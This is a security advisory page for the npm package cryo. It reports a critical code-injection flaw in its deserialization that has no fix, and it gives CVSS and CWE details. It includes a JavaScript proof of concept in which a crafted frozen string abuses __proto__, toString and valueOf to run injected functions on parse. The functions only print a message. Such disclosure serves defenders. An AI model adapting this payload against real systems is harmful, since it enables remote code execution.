Critical

Code Injection in cryo

Disclosed: 21.08.2018
Updated: 11.10.2026 10:22

All versions of cryo are vulnerable to code injection due to an Insecure implementation of deserialization.

Proof of concept

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	cryo	<= 0.0.6	no fix

References

CVSS score 9.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-94
Platform: npm
Package: cryo
Disclosed: 21.08.2018
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-38f5-ghc2-fcmv - CC BY 4.0

Vulnerability history: cryo

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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